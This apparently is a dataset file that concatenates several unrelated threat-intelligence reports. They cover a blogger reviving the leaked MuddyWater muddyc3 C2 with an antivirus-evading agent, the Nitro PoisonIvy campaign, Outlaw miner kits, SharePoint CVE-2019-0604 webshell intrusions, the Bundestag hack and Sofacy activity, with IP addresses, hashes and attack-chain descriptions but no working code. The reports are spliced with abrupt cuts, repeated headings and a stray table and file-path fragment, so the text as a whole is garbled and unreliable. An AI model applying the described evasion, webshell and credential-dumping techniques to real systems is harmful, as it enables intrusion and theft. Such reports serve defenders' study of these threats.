Despite broad scrutiny and reports on MuddyWater attacks , the activity continues with only incremental changes to the tools and techniques .
In June 26 2019 a group called “ Green Leakers ” on telegram published screenshots of the C2 admin panel as you can see below along with screenshot of the muddyc3 c2 source code .
they announced that they are selling all the leaked tools for 0.5BTC .
At that time i got the source code from github , so i tried the code to find that the core of the c2 which is powershell payload is messing ( the leaker didn’t include the payload in order to by all the tools ) .
so i didn’t have time to reverse engineer the source code and i left it .
last week i got 3 days off from my work ( working in SOC will keep you for ever busy ) so i started analyzing the code which will be discussed below and i was able to understand how it works in order to create the messing powershell payload and make the c2 come to life .
I didn’t just revive the C2 but also added more advanced functionality which will be released as separate tool soon .
Lets start by giving a summary about the muddyc3 tool :Coded with python2.7 .
works as C2 server that serve a powershell agent script when requested .
i didn’t find any function to encrypt the traffic between the the agent and the C2 but there are variables with name private_key , public_key so i suspect the functions removed .
its make use of HTA and bas64 encoded powershell code to bypass the AV ( right now AV can catch HTA ) .
It use threading so many agent can connect and controlled at the same time .
the agent must collect information about the system when it first start then report it to the C2 .
there is template for agent which will be filled with ip and port when the C2 run .
include functions but not all implemented in the initial POC :upload , download , load modules , get screenshot .
The initial powershell agent POC i created can bypass the AV including Kaspersky , Trendmicro .
Now we dig deep in the C2 to explain how it work and how i created the agent based on the function available in the C2 .
simple CLI interface that ask when started for IP ,Port and proxy configuration to generate the initial payloads .
The Nitro Attacks .
This document discusses a recent targeted attack campaign directed primarily at private companies involved in the research , development , and manufacture of chemicals and advanced materials .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
In addition , the same attackers appear to have a lengthy operation history including attacks on other industries and organizations .
Attacks on the chemical industry are merely their latest attack wave .
As part of our investigations , we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks .
As the pattern of chemical industry targets emerged , we internally code-named the attack campaign Nitro .
The attack wave started in late July 2011 and continued into midSeptember 2011 .
However , artifacts of the attack wave such as Command and Control ( C&C ) servers are also used as early as April 2011 and against targets outside the chemical industry .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
The attackers first researched desired targets and then sent an email specifically to the target .
Each organization typically only saw a handful of employees at the receiving end of these emails .
However , in one organization almost 500 recipients received a mail , while in two other organizations , more than 100 were selected .
While the attackers used different pretexts when sending these malicious emails , two methodologies stood out .
First , when a specific recipient was targeted , the mails often purported to be meeting invitations from established business partners .
Secondly , when the emails were being sent to a broad set of recipients , the mails purported to be a necessary security update .
The emails then contained an attachment that was either an executable that appeared to be a text file based on the file name and icon , or a password-protected archive containing an executable file with the password provided in the email .
In both cases , the executable file was a self-extracting executable containing PoisonIvy , a common backdoor Trojan developed by a Chinese speaker .
When the recipient attempted to open the attachment , they would inadvertently execute the file , causing PoisonIvy to be installed .
Once PoisonIvy was installed , it contacted a C&C server on TCP port 80 using an encrypted communication protocol .
Using the C&C server , the attackers then instructed the compromised computer to provide the infected computer ’s IP address , the names of all other computers in the workgroup or domain , and dumps of Windows cached password hashes .
By using access to additional computers through the currently logged on user or cracked passwords through dumped hashes , the attackers then began traversing the network infecting additional computers .
Typically , their primary goal is to obtain domain administrator credentials and/or gain access to a system storing intellectual property .
Domain administrator credentials make it easier for the attacker to find servers hosting the desired intellectual property and gain access to the sensitive materials .
The attackers may have also downloaded and installed additional tools to penetrate the network further .
While the behavior of the attackers differs slightly in each compromise , generally once the attackers have identified the desired intellectual property , they copy the content to archives on internal systems they use as internal staging servers .
This content is then uploaded to a remote site outside of the compromised organization completing the attack .
The majority of infected machines are located in the US , Bangladesh and the UK ;however , overall there is wide geographical spread of infections .
As mentioned above , the threat used to compromise the targeted networks is Poison Ivy , a Remote Access Tool ( RAT ) .
This application is freely available from poisonivy-rat.com .
It comes fully loaded with a number of plug-ins to give an attacker complete control of the compromised computer .
The method of delivery has changed over time as the attackers have changed targets .
Older attacks involved a self-extracting archive with a suggestive name , for example : “ Human right report of north Africa under the war .
scr ” .
The most recent attacks focusing on the chemical industry are using password-protected 7zip files which , when extracted , contain a self-extracting executable .
The password to extract the 7zip file is included in the email .
This extra stage is used to prevent automated systems from extracting the self-extracting archive .
Some example file names using this technique include : AntiVirus_update_package.7z , acquisition.7z , offer.7z , update_flashplayer10ax.7z .
When the self-extracting archive file is executed , it will drop two files .
Examples of file names that are used include : %Temp%\happiness.txt , %Temp%\xxxx.exe .
The executable file , xxxx.exe in this case , is then executed .
The second file , happiness.txt , contains custom code in binary format that is encrypted and used by xxxx.exe .
The xxxx.exe file copies happiness.txt to C:\PROGRAM FILES\common files\ODBC\ODUBC.DLL and to C:\WINDOWS\system32\jql.sys .
It then loads the contents of the encrypted file and injects it into the explorer.exe and iexplore.exe processes .
The injected code copies xxxx.exe to %System%\winsys.exe and connects to the Command and Control ( C&C ) server on TCP port 80 .
The communication with the server is a handshake using an encryption algorithm ( Camellia ) .
Once the Trojan establishes the server ’s authenticity , it expects a variable-size block of binary code that is read from the server straight into the virtual space for iexplore.exe and then executed .
When executed , the Poison Ivy threat , or Backdoor.Odivy , connects to a command and control ( C&C ) server over TCP port 80 .
A number of different C&C domains and IP addresses were identified .
The majority of samples connect to a domain ; however one subset of samples connected directly to the IP address 204.74.215.58 , which belonged to the Chinese QQ user mentioned previously and was also associated with antivirus-groups.com .
org : 173.252.207.71 , 173.252.205.36 , 173.252.205.37 , 173.252.205.64 .
antivirus-groups.com : 74.82.166.205 , 204.74.215.58 .
domain.rm6.org : 216.131.95.22 , 222.255.28.27 .
anti-virus.sytes.net : 173.252.205.36 , 173.252.205.37 , 173.252.205.64 .
Several other hacker groups have also begun targeting some of the same chemical companies in this time period .
Attackers are sending malicious PDF and DOC files , which use exploits to drop variants of Backdoor.Sogu .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
Determining if the two groups are related is difficult , but any relationship appears unlikely .
The attackers described in this document use a very basic delivery platform ; compressed self-extracting archives sometimes sent to a large number of recipients .
The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .
The Sogu gang use a custom developed threat – Backdoor.Sogu , whereas the group described in this document use an off the shelf threat – Poison Ivy .
While the number of Sogu targets is currently small relative to the Poison Ivy attacks , we continue to monitor their activities .
Numerous targeted attack campaigns are occurring every week .
However , relative to the total number of attacks , few are fully disclosed .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
Outlaw Updates Kit to Kill Older Miner Versions , Targets More Systems .
As we ’ve observed with cybercriminal groups that aim to maximize profits for every campaign , silence doesn’t necessarily mean inactivity .
It appears hacking group Outlaw , which has been silent for the past few months , was simply developing their toolkit for illicit income sources .
While they have been quiet since our June analysis , we observed an increase in the group ’s activities in December , with updates on the kits ’ capabilities reminiscent of their previous attacks .
The updates expanded scanner parameters and targets , looped execution of files via error messages , improved evasion techniques for scanning activities , and improved mining profits by killing off both the competition and their own previous miners .
We analyzed the kits , which were designed to steal information from the automotive and finance industries , launch subsequent attacks on already compromised systems , and ( possibly ) sell stolen information .
Comparing this development to their previous attacks , we think Outlaw may be aiming to go after enterprises that have yet to update their systems , assessing security and changes with their previously infected hosts , finding new and old targets , and possibly testing their updates in the wild .
We will continue to observe the group ’s activities as they target industries from the United States and Europe .
Based on the samples we collected and traced to 456 distinct IPs , we expect the group to be more active in the coming months as we observed changes on the versions we acquired .
These new samples targeted Linux- and Unix-based operating systems , vulnerable servers , and internet of things ( IoT ) devices by exploiting known vulnerabilities with available exploits .
This time , the group explored unpatched systems vulnerable to CVE-2016-8655 and Dirty COW exploit ( CVE-2016-5195 ) as attack vectors .
Files using simple PHP-based web shells were also used to attack systems with weak SSH and Telnet credentials .
While no phishing- or social engineering-initiated routines were observed in this campaign , we found multiple attacks over the network that are considered “ loud. ” These involved large-scale scanning operations of IP ranges intentionally launched from the command and control ( C&C ) server .
The honeynet graphs , which show activity peaks associated with specific actions , also suggest that the scans were timed .
From the sample we analyzed , attacks started from one virtual private server ( VPS ) that searches for a vulnerable machine to compromise ( previous techniques used malicious URLs or infecting legitimate websites for bot propagation ) .
Once infected , the C&C commands for the infected system launches a loud scanning activity and spreads the botnet by sending a “ whole kit ” of binary files at once with naming conventions same as the ones already in the targeted host , likely banking on breaking through via “ security through obscurity. ” They attempted to evade traffic inspection by encoding the code for the scanner with base-64 .
The zombie host initiates the scan — another routine from previous campaigns — but updated with a larger set of parameters and programmed to run in the background .
The kit we found is in tgz format , though we have observed some samples disguised as png or jpg .
While previous routines took advantage of competing miners ’ activities and unrelated components to hijack the profit , the latest version of the code attempts to remove all related files and codes from previous infections ( including their own to make sure the running components are updated , as well as those from other cybercriminals to maximize the resources of the zombie host ) and creates a new working directory /tmp/.X19-unix to move the kit and extract the files .
The tsm binary then runs in the background , forwarding a series of error messages to /dev/null to keep the code running , ensuring the continuous execution of the code referenced with a set of parameters /tmp/up.txt .
The script then waits 20 minutes before it runs the wrapper script initall :Another variant executes a set of commands once a system is successfully compromised .
Most of these commands are related to gathering information from the infected machine ( number of CPU cores , users , scheduled tasks , running processes , OS installed , and CPU and memory information ) via the dota3 payload , as well as changing the password to a random string also stored in /tmp/up.txt .
In a previous execution ( published in June 2019 ) , we observed that dota2 had its own folder but it was hardly executed .
Running the script removes the remaining files and scripts from previous attacks , keeping a low profile to evade detection .
If the system has been previously infected with a cryptominer , it also attempts to kill the running miner and all its related activities .
Based on a bashtemp directory of the latest sample we found , there are other compiled ELF scripts , named init and init2 , that loops the kit to keep running :init .
93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494Both init and init2 scripts make sure all other running mining services are killed , and that all the files in the working directory are executed by giving 777 permissions .
We also found the init0 script running ; the script cleans out all miners regardless of its origin .
It then resets cron and removes possible cache files from other programs , starts scripts and binaries a , init0 , and start , and sets the persistence by modifying the crontab .
The a binary is a script wrapper to start run , a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system .
The Shellbot disguises itself as a process named rsync , commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization .
This allows the malicious activity to evade detection .
The Shellbot script is added to run after the victim ’s system reboots , and scripts /a/upd , /b/sync/ , and /c/aptitude/ are added to the crontab .
However , while we observed the presence of the codes , the functions of upd , sync and aptitude were disabled in the kits ’ latest version .
It remains unclear whether these are leftover code from the previous versions or their particular purposes were served .
Shellbot is also used to control the botnet , with a command that is sent and run from the C&C to determine if there is a code execution in the shell , the hostname , and its architecture .
All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C .
Since discovering the operations of this group in 2018 , Outlaw continues to use scripts , codes , and commands that have been previously used and deployed .
These routines are indicative of the group ’s aim to get quantitative returns through varied cybercriminal profit streams .
This was also reinforced by their naming conventions , wherein different versions are simply named after the code iterations , following a specific format regardless of the actual function of the code .
Trojan.SH.MALXMR.UWEJP : 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa .
|
30
|
Backdoor.SH.SHELLBOT.AA : b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d .
| 3,036
| 3,091
| 56
|
data/reports_final/0030.txt
|
Backdoor.SH.SHELLBOT.AA : b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d .
Trojan.Linux.SSHBRUTE.B : 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 .
Coinminer.Linux.MALXMR.SMDSL32 : fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a .
Coinminer.Linux.MALXMR.SMDSL64 : 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 .
Actors Still Exploiting SharePoint Vulnerability to Attack Middle East Government Organizations .
On September 10 , 2019 , we observed unknown threat actors exploiting a vulnerability in SharePoint described in CVE-2019-0604 to install several webshells on the website of a Middle East government organization .
One of these webshells is the open source AntSword webshell freely available on Github , which is remarkably similar to the infamous China Chopper webshell .
On January 10 , 2020 , we used Shodan to search for Internet accessible servers running versions of SharePoint vulnerable to CVE-2019-0604 .
While admittedly the version numbers provided by SharePoint within HTTP responses do not always provide the precise SharePoint version number , we decided to use it to check if it was less than the version numbers of the patched SharePoint versions from the Microsoft advisory .
We performed this comparison and found 28,881 servers that advertised a vulnerable version of SharePoint .
We did not actively check each server to verify if they were indeed vulnerable , so it is possible that many of these public-facing SharePoint servers were not vulnerable or since patched .
Regardless , the sheer number of servers and publicly available exploit code suggests that CVE-2019-0604 is still a major attack vector .
Using this collection of webshells , the actors moved laterally to other systems on the network by dumping credentials with a variant of the notorious Mimikatz tool and using Impacket ’s atexec tool to use dumped credentials to run commands on other systems .
On September 19 , 2019 , we observed the same exact Mimikatz variant uploaded to a webshell hosted at another government organization in a second country in the Middle East .
The Mimikatz variant uploaded to these two organizations is unique , as it involves a seemingly custom loader application written in .NET .
Therefore , we believe that the same threat group is behind both intrusions .
Back in April 2019 , we first observed the Emissary Panda threat group exploiting CVE-2019-0604 to install webshells on SharePoint servers at government organizations in two Middle Eastern countries .
Fast forward five months to the current attacks and we see exploitation of the same vulnerability at government organizations in two different countries compared to the April attacks .
We do not have any strong ties to connect the current attacks exploiting this vulnerability in SharePoint with the Emissary Panda attacks carried out in April .
The overlaps between these two sets of attacks include exploitation of a common vulnerability , similar toolset and a shared government victimology , but no strong pivot points to connect these attack campaigns together .
The exploitation of this vulnerability is not unique to Emissary Panda , as multiple threat groups are using this vulnerability to exploit SharePoint servers to gain initial access to targeted networks .
We would like to acknowledge the possibility of an overlap in the AntSword webshell , as we stated that Emissary Panda used China Chopper in the April attacks and AntSword and China Chopper webshells are incredibly similar .
However , at this time we do not believe the April attacks used AntSword based on artifacts analyzed on the SharePoint server , specifically none of the IIS logs in the April attacks used the AntSword User-Agent in requests to the webshell that were observed in the current attacks .
Palo Alto Networks customers are protected from the threat described in this blog through Threat Prevention signatures for the exploits and C2 traffic as well as through WildFire .
More details on this protection is available in the conclusion of the report .
On September 10 , 2019 , we observed an HTTP POST request to the following URL that we believe was the exploitation of CVE-2019-0604 in a publicly facing SharePoint server ( T1190 ) : /_layouts/15/picker.aspx .
The command uses the echo command to write a large chunk of base64 encoded data to a text file named cmd.txt .
The command then uses the certutil application to convert the base64 encoded data ( T1132 ) in the cmd.txt file to c.aspx in three different SharePoint related folders .
The result of this entire command saves a variant of the Awen asp.net webshell ( T1100 ) to the SharePoint server to further interact with the compromise server .
The Awen webshell deployed in the exploitation of this SharePoint vulnerability had a SHA256 hash of 5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21 .
Just 40 seconds after the suspected exploitation of CVE-2019-0604 , we observed the first HTTP GET request to a webshell at c.aspx , which is a modified version of the freely available awen asp.net webshell .
We believe this HTTP GET request was the actor visiting the webshell after exploitation and prior to executing commands .
The actor uses the Awen webshell to run various commands to do an initial discovery on the system and network , including user accounts ( T1033 and T1087 ) , files and folders ( T1083 ) , privileged groups ( T1069 ) , remote systems ( T1018 ) and network configuration ( T1016 ) .
Table 1 not only shows the commands used for discovery , but also the commands used to deploy another webshell to the server using the echo command to write base64 encoded data to a.txt and using the certutil application to decode and save to bitreeview.aspx .
The webshell named bitreeview.aspx was saved to a folder within the SharePoint server ’s install path .
The bitreeview.aspx file is a variant of the AntSword webshell that has undeniably similar traits as the infamous China Chopper webshell .
After installing this AntSword webshell , the actor no longer uses the Awen webshell and issues the first command to AntSword 35 seconds after the last command issued to the Awen webshell .
AntSword is a modular webshell that involves a very simple webshell that the actor would deploy to the compromised server and a client application referred to as the AntSword Shell Manager .
The use of the client application differs from many other webshells that the actor would interact with in a browser window .
The actor would use the AntSword Shell Manager to interact with the AntSword webshell on the compromised server , as the Shell Manager sends the appropriate script to the webshell that will execute to carry out the desired action .
To provide a sense of the limited functionality within the webshell itself , the bitreeview.aspx AntSword webshell deployed in this attack ( SHA256: 15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e ) was only 162 bytes .
AntSword webshell has no functionality other than running a script provided by the AntSword Shell Manager , specifically within a field named Darr1R1ng of an HTTP POST request .
The code above also tells us the actors had created their own custom “ encoder ” within the AntSword Shell Manager to be able to interact with the code above , which we will discuss in detail in the next section .
In addition to the Mimikatz tool , the actor uploaded other tools to the webshell hosted at this second organization .
es.exe : Mimikatz with custom loader , da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304 .
Rar.exe : Legitimate WinRAR , 26d9212ec8dbca45383eb95ec53c05357851bd7529fa0761d649f62e90c4e9fd .
atec.exe : Compiled Impacket atexec tool , a4aca75bcc8f18b8a2316fd67a7e545c59b871d32de0b325f56d22584038fa10 .
dmp.exe : Dumpert tool , e4e05c9a216c2f2b3925293503b5d5a892c33db2f6ea58753f032b80608c3f2e .
One of the tools seen above that caught our interest was the Dumpert tool , which is freely available on Outflanknl ’s GitHub repository .
The author of Dumpert describes the tool as an LSASS dumping tool that uses direct system calls and API unhooking to evade antivirus and EDR solutions .
Dumpert is a relatively new tool with its initial commit to GitHub occurring on June 17 , 2019 .
While the Dumpert tool is meant to help red teams emulate an adversary , we had not seen this tool used by threat actors until it was uploaded to this related webshell on September 23 , 2019 .
Threat actors continue to exploit the CVE-2019-0604 vulnerability to compromise SharePoint servers , which is a vulnerability that Microsoft released a patch for in March 2019 .
We observed actors installing webshells to the SharePoint server that they use to run commands and upload additional tools to in order to dump credentials and move laterally to other systems on the network .
We were also able to find a related webshell based on the threat group ’s tool reuse , specifically a custom Mimikatz sample .
Thanks to this tool reuse , we found the threat group uploading a credential dumping tool called Dumpert that we had not seen used in prior incidents involving the exploitation of CVE-2019-0604 .
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Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag .
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Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag .
Two suspicious artifacts have been retrieved from two separate servers within the Die Linke infrastructure .
One is an open source utility used to remotely issue commands on a Windows host from a Linux host .
The other is a custom utility which , despite its large size , has limited functionality and acts as a tunnel , possibly used by the attackers to maintain persistence within the compromised network .
Attributes of one of the artifacts and intelligence gathered on the infrastructure operated by the attackers suggest that the attack was perpetrated by a state-sponsored group known as Sofacy ( or APT28 ) .
Previous work published by security vendor FireEye in October 2014 suggests the group might be of Russian origin .
The first artifact – identified across this report as Artifact #1 – has the following attributes :Name winexesvc.exe Size 23552 MD5 77e7fb6b56c3ece4ef4e93b6dc608be0 SHA1 f46f84e53263a33e266aae520cb2c1bd0a73354e SHA256 5130f600cd9a9cdc82d4bad938b20cbd2f699aadb76e7f3f1a93602330d9997d .
The second artifact – identified across this report as Artifact #2 – -has the following attributes :Name svchost.exe Size 1062912 MD5 5e70a5c47c6b59dae7faf0f2d62b28b3 SHA1 cdeea936331fcdd8158c876e9d23539f8976c305 SHA256 730a0e3daf0b54f065bdd2ca427fbe10e8d4e28646a5dc40cbcfb15e1702ed9a Compile Time 2015-04-22 10:49:54 .
Artifact #1 was retrieved from a File Server operated by Die Linke .
The file is a 64bit-compatible compiled binary of the open source utility Winexe .
Winexe is software similar to the more popular PSExec and is designed to allow system administrators to execute commands on remote servers .
While commercial solutions like Symantec pcAnywhere provide a larger feature-set , Winexe is lightweight , and doesn’t require any installation or configuration .
One of the reasons Winexe is preferred over PSExec , is that it provides a Linux client , while PSExec doesn’t .
Attackers are making growing use of utilities like Winexe and PSExec to perform lateral movement across compromised networks .
Besides providing the ability to execute arbitrary commands on the target system , these utilities normally don’t raise suspicion as they are commonly whitelisted by Antivirus and other commercial security software .
Winexe acts as a Windows service that can be configured to automatically start at boot and silently wait for incoming commands over a named pipe .
Named pipes are a Windows inter-process communication method .
Through named pipes , processes are able to communicate and exchange data even over a network .
In the case of Artifact #1 , the name of the pipe is ahexec , computers over the network could access the pipe server by simply opening a file handle on \ServerNamepipeahexec .
Once connected to the pipe , a user or a program can easily provide information required to execute command ( just as they would normally through a command-line ) .
The provided information is then passed to a CreateProcessAsUserA call and the specified command is executed .
Once inside the network , Artifact #1 can be enough for the attacker to download or create additional scripts , execute commands and exfiltrate data ( for example , simply through ftp ) .
It is plausible that Artifact #1 could be present on other servers under different names , although it is also likely that the attacker only left it on servers to which they required maintainenance of persistent access .
Artifact #2 was recovered from the Admin Controller operated by Die Linke .
This is custom malware , which despite large file size ( 1,1 MB ) , provides limited functionality .
Artifact #2 operates as a backchannel for the attacker to maintain a foothold inside the compromised network .
The properties of the artifact show that the same authors of the malware seem to have called it Xtunnel .
As the same name suggests , the artifact appears in fact to act as a tunnel for the attacker to remotely access the internal network and maintain persistence .
After initialization , the artifact will attempt to establish a connection by creating a socket .
In case of failure , it will sleep for three seconds and try again .
The authors of the malware didn’t appear to have spent any effort in concealing indicators or obfuscating code – the IP address with which it tries to communicate is hardcoded in clear-text inside the binary .
We can observe below , the procedure through which the artifact attempts to establish a connection with the IP address 176.31.112.10 .
This specific IP address is a critical piece of information that enables us to connect this attack to a spree of previous targeted campaigns .
The details of this attribution is explained in a dedicated section below .
We will refer to this IP address as Command & Control ( or C&C ) .
If the argument -SSL is given through command-line to the artifact , these beacons will be encapsulated in an SSL connection and a proper TLS handshake will be initiated with the C&C .
Interestingly , the artifact bundles a copy of OpenSSL 1.0.1e , from February 2013 , which causes the unusually large size of the binary .
More importantly , the Command & Control server ( 176.31.112.10 ) also appears to be using an outdated version of OpenSSL and be vulnerable to Heartbleed attacks .
While unlikely , it is worth considering that the same C&C server might have been the subject of 3rd-party attacks due to this vulnerability .
If connections to the C&C are blocked or terminated through a firewall , the artifact will be inhibited , as it doesn’t seem to have any fallback protocol .
Additionally , since it does not execute any other functionality autonomously , it would no longer be a direct threat .
While attribution of malware attacks is rarely simple or conclusive , during the course of this investigation I uncovered evidence that suggests the attacker might be affiliated with the state-sponsored group known as Sofacy Group ( also known as APT28 or Operation Pawn Storm ) .
Although we are unable to provide details in support of such attribution , previous work by security vendor FireEye suggests the group might be of Russian origin , however no evidence allows to tie the attacks to governments of any particular country .
Sofacy is a group dedicated to the compromise of high-profile targets and the theft of confidential information .
They appear to have been active since 2006 .
They are believed to have successfully attacked the Ministries of Internal and Foreign Affairs of several ex-Soviet countries , as well as Eastern European governments and military institutions , and NATO and the White House .
Sofacy is known for making extensive use of phishing attacks to lure targets into revealing their credentials via realistic reconstruction of internal systems , such as webmails , as employed against the Georgian Ministry of Internal Affairs in the infamous attacks that preceded the Georgian invasion of 2008 .
While Sofacy is also known to use of custom exploit frameworks and spear-phishing attacks , it is possible in this case that they managed to obtain privileged credentials of network administrators within the Bundestag through the use of a phishing attack , which then allowed them to navigate through the network and gain access to more data .
It is worth noting that shortly before the attack , security vendors reported the use of 0-day exploits in Flash Player and Microsoft Windows by the same threat actor .
During investigation of the Command & Control server ( with IP 176.31.112.10 hardcoded in Artifact #2 ) , we managed to identify some operational mistakes made by the attackers , allowing us to connect the incident with attacks previously associated with the Sofacy Group .
The address , 176.31.112.10 , is a dedicated server provided by the French OVH hosting company , but is apparently operated by an offshore secure hosting company called CrookServers.com .
By researching historical data relevant to C&C 176.31.112.10 , we discovered that on February 16th 2015 , the server was sharing an SSL certificate with another IP address allocated to CrookServers and also hosted at OVH : 213.251.187.145 .
The recovered shared SSL certificate , obtained by a public internet-wide scanning initiative , at the time had the following attributes :MD5 b84b66bcdecd4b4529014619ed649d76 SHA1 fef1725ad72e4ef0432f8cb0cb73bf7ead339a7c Algorithm sha1 With RSA Encryption .
As shown , the certificate uses mail.mfa.gov.ua as a Common Name .
This suggests that this certificate might have been previously used for a similar attack against the Ukrainian Ministry of Foreign Affairs , or associated targets , although there is no documentation of such attack available to the public .
More importantly , the IP address this certificate was shared with 213.251.187.145 was previously identified as used by Sofacy Group for phishing attacks against Albanian government institutions by registering the domain qov.al and creating realistic subdomains to lure victims into visiting .
The domain was active on the IP 213.251.187.145 from July 2014 up until March 2015 .
These attacks against Albanian government institutions by the Sofacy Group were documented and reported by consultancy corporate PwC in December 2014 .
It is worth noting that this server also seems to be operated by CrookServers , since among other domains , 454-reverse.crookservers.net resolved to the same IP address .
While the evidence presented strongly suggests a connection with the Sofacy Group , the artifacts ( in particular Artifact #2 ) are not publicly recognized to be part of the more traditional arsenal of these attackers .
Nevertheless , on May 12th 2015 ( a few weeks after the attack against Bundestag appears to have started ) the American security firm root9B released a report containing details on malware samples very similar to Artifact #2 .
The report also includes a mention of the same IP address used as Command & Control server in the attack against Bundestag ( 176.31.112.10 ) .
While the report appears to contain numerous inaccuracies , some of the indicators of compromises are legitimate and appear to be correctly attributed to Sofacy .
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A Slice of 2017 Sofacy Activity .
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A Slice of 2017 Sofacy Activity .
Sofacy , also known as APT28 , Fancy Bear , and Tsar Team , is a highly active and prolific APT .
From their high volume 0day deployment to their innovative and broad malware set , Sofacy is one of the top groups that we monitor , report , and protect against .
2017 was not any different in this regard .
Our private reports subscription customers receive a steady stream of YARA , IOC , and reports on Sofacy , our most reported APT for the year .
This high level of cyber-espionage activity goes back years .
In 2011-2012 , the group used a relatively tiny implant ( known as “ Sofacy ” or SOURFACE ) as their first stage malware , which at the time had similarities with the old Miniduke implants .
This made us believe the two groups were connected , although it looks they split ways at a certain point , with the original Miniduke group switching to the CosmicDuke implant in 2014 .
The division in malware was consistent and definitive at that point .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across 4-5 generations ) and a few others .
We ’ve seen quite a few versions of these implants , which were relatively widespread at some point or still are .
In 2015 we noticed another wave of attacks which took advantage of a new release of the AZZY implant , largely undetected by antivirus products .
The new wave of attacks included a new generation of USB stealers deployed by Sofacy , with initial versions dating to February 2015 .
It appeared to be geared exclusively towards high profile targets .
Sofacy ’s reported presence in the DNC network alongside APT29 brought possibly the highest level of public attention to the group ’s activities in 2016 , especially when data from the compromise was leaked and “ weaponized ” .
And later 2016 , their focus turned towards the Olympics ’ and the World Anti-Doping Agency ( WADA ) and Court of Arbitration for Sports ( CAS ) , when individuals and servers in these organizations were phished and compromised .
In a similar vein with past CyberBerkut activity , attackers hid behind anonymous activist groups like “ anonpoland ” , and data from victimized organizations were similarly leaked and “ weaponized ” .
This write-up will survey notables in the past year of 2017 Sofacy activity , including their targeting , technology , and notes on their infrastructure .
No one research group has 100% global visibility , and our collected data is presented accordingly .
Here , external APT28 reports on 2017 Darkhotel-style activity in Europe and Dealer ’s Choice spearphishing are of interest .
From where we sit , 2017 Sofacy activity starts with a heavy focus on NATO and Ukrainian partners , coinciding with lighter interest in Central Asian targets , and finishing the second half of the year with a heavy focus on Central Asian targets and some shift further East .
Sofacy kicked off the year deploying two 0day in a spearphish document , both a Microsoft Office encapsulated postscript type confusion exploit ( abusing CVE-2017-0262 ) and an escalation of privilege use-after-free exploit ( abusing CVE-2017-0263 ) .
The group attempted to deploy this spearphish attachment to push a small 30kb backdoor known as GAMEFISH to targets in Europe at the beginning of 2017 .
They took advantage of the Syrian military conflict for thematic content and file naming “ Trump ’s_Attack_on_Syria_English.docx ” .
Again , this deployment was likely a part of their focus on NATO targets .
Meanwhile in early-to-mid 2017 , SPLM / CHOPSTICK / XAgent detections in Central Asia provided a glimpse into ongoing focus on ex-Soviet republics in Central Asia .
These particular detections are interesting because they indicate an attempted selective 2nd stage deployment of a backdoor maintaining filestealer , keylogger , and remoteshell functionality to a system of interest .
As the latest revision of the backdoor , portions of SPLM didn’t match previous reports on SPLM / XAgent while other similarities were maintained .
SPLM 64-bit modules already appeared to be at version 4 of the software by May of the year .
Targeting profiles included defense related commercial and military organizations , and telecommunications .
Since mid-November 2015 , the threat actor referred to as “ Sofacy ” or “ APT28 ” has been utilizing a unique payload and delivery mechanism written in Delphi and AutoIT .
We collectively refer to this package and related activity as “ Zebrocy ” and had written a few reports on its usage and development by June 2017 – Sofacy developers modified and redeployed incremented versions of the malware .
The Zebrocy chain follows a pattern : spearphish attachment -> compiled Autoit script ( downloader ) -> Zebrocy payload .
In some deployments , we observed Sofacy actively developing and deploying a new package to a much smaller , specific subset of targets within the broader set .
Targeting profiles , spearphish filenames , and lures carry thematic content related to visa applications and scanned images , border control administration , and various administrative notes .
Targeting appears to be widely spread across the Middle East , Europe , and Asia .
We identified new MSIL components deployed by Zebrocy .
While recent Zebrocy versioning was 7.1 , some of the related Zebrocy modules that drop file-stealing MSIL modules we call Covfacy were v7.0 .
The components were an unexpected inclusion in this particular toolset .
For example , one sent out to a handful of countries identifies network drives when they are added to target systems , and then RC4 like-encrypts and writes certain file metadata and contents to a local path for later Exfiltration .
The stealer searches for files 60mb and less with these extensions : .doc , .docx , .xls , .xlsx , .ppt , .pptx , .exe , .zip , .rar .
At execution , it installs an application-defined Windows hook .
The hook gets windows messages indicating when a network drive has been attached .
Upon adding a network drive , the hook calls its “ RecordToFile ” file stealer method .
SPLM / CHOPSTICK components deployed throughout 2017 were native 64-bit modular C++ Windows COM backdoors supporting http over fully encrypted TLSv1 and TLSv1.2 communications , mostly deployed in the second half of 2017 by Sofacy .
Earlier SPLM activity deployed 32-bit modules over unencrypted http ( and sometimes smtp ) sessions .
In 2016 we saw fully functional , very large SPLM / X-Agent modules supporting OS X .
The executable module continues to be part of a framework supporting various internal and external components communicating over internal and external channels , maintaining slightly morphed encryption and functionality per deployment .
Sofacy selectively used SPLM / CHOPSTICK modules as second stage implants to high interest targets for years now .
The newer SPLM modules are deployed mostly to Central Asian based targets that may have a tie to NATO in some form .
These targets include foreign affairs government organizations both localized and abroad , and defense organizations ’ presence localized , located in Europe and also located in Afghanistan .
